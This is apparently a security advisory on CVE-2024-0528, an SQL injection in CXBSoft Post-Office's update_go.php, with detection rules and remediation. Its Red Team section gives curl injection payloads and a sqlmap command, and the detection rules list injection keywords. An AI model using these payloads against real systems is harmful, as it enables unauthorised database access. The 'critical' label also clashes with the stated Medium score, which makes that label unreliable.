CVE-2024-0528

Executive Summary

CVE-2024-0528 is a critical SQL injection vulnerability discovered in CXBSoft Post-Office version 1.0. The flaw resides in the /admin/pages/update_go.php file, where the version parameter is directly concatenated into an SQL query without sanitization. An unauthenticated attacker can exploit this to extract, modify, or delete database contents. The vendor has not responded to disclosure attempts, leaving the product unpatched. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the public availability of a proof-of-concept (PoC) increases risk for exposed instances.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Base Score: 5.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the lack of authentication requirements and the public availability of exploit details. However, the low EPSS score suggests limited active exploitation.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the HTTP POST request handler of update_go.php. The version parameter is passed unsanitized into an SQL query, likely used to update a version field in the database. An attacker can inject SQL commands by appending a single quote (') or other SQL metacharacters to the version value.

Example vulnerable code snippet (conceptual):

$version = $_POST['version'];
$sql = "UPDATE settings SET version = '$version' WHERE id = 1";
mysqli_query($conn, $sql);

An attacker can submit:

version=1' OR '1'='1

This would result in:

UPDATE settings SET version = '1' OR '1'='1' WHERE id = 1

Which always evaluates to true, potentially updating all rows or allowing further injection.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

$version = $_POST['version'];
$sql = "UPDATE settings SET version = '$version' WHERE id = 1";
$result = mysqli_query($conn, $sql);

Patched Code (PHP):

$version = mysqli_real_escape_string($conn, $_POST['version']);
$sql = "UPDATE settings SET version = '$version' WHERE id = 1";
$result = mysqli_query($conn, $sql);

Or using prepared statements:

$stmt = $conn->prepare("UPDATE settings SET version = ? WHERE id = 1");
$stmt->bind_param("s", $_POST['version']);
$stmt->execute();

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install CXBSoft Post-Office 1.0 on a local server (e.g., XAMPP).
2. Ensure the /admin/pages/update_go.php endpoint is accessible.

Exploitation Steps:

1. Send a POST request to the vulnerable endpoint with a malicious version parameter.
2. Use a tool like curl or Burp Suite.

Example curl command:

curl -X POST http://target/admin/pages/update_go.php \
  -d "version=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"

Manual SQL injection (time-based):

curl -X POST http://target/admin/pages/update_go.php \
  -d "version=1' AND SLEEP(5)-- -"

Automated exploitation with sqlmap:

sqlmap -u "http://target/admin/pages/update_go.php" \
  --data="version=1" --batch --dbs

Blue Team

Detection:

• Monitor HTTP POST requests to /admin/pages/update_go.php containing SQL metacharacters (', ", --, #, ;).
• Look for unusual response times (time-based injection) or error messages containing SQL syntax.

Honeypot:

• Deploy a fake update_go.php endpoint that logs all POST data and alerts on suspicious patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /admin/pages/update_go.php with version parameter containing SQL keywords (UNION, SELECT, SLEEP, etc.).
  • Unusual response sizes or error messages like "You have an error in your SQL syntax".

• File IOCs:

  • Modified database entries in the settings table (e.g., version field containing SQL fragments).
  • Log entries in web server logs showing SQL injection attempts.

• Behavioral IOCs:

  • Unexpected database queries from the web application user.
  • Increased database load or timeouts.

Detection Engineering

YARA Rule

rule CVE_2024_0528_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-0528"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0528"
    strings:
        $s1 = "version=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "SLEEP" nocase
        $s5 = "' OR " nocase
        $s6 = "1=1" nocase
    condition:
        all of ($s1, $s2, $s3) or all of ($s1, $s4) or all of ($s1, $s5, $s6)
}

Sigma Rule

title: CVE-2024-0528 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against CXBSoft Post-Office /admin/pages/update_go.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/admin/pages/update_go.php'
        cs-uri-query|contains: 'version='
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'SLEEP'
        - "' OR "
        - '1=1'
    condition: selection and keywords
falsepositives:
    - Legitimate version strings containing these patterns (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0528 SQL Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/admin/pages/update_go.php"; http_uri; content:"version="; http_client_body; pcre:"/(UNION|SELECT|SLEEP|' OR |1=1)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application from the internet if possible.
2. Apply input validation to the version parameter (allow only alphanumeric and dot characters).
3. Use prepared statements or parameterized queries in the PHP code.
4. Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.

Long-term Fix:

• Replace the vulnerable code with prepared statements as shown in the patched code section.
• Conduct a full security audit of the application.
• If the vendor remains unresponsive, consider migrating to an alternative product.

Workaround:

• Disable the /admin/pages/update_go.php endpoint by removing or renaming the file.
• Restrict access to the admin panel via IP whitelisting or VPN.

Valters IT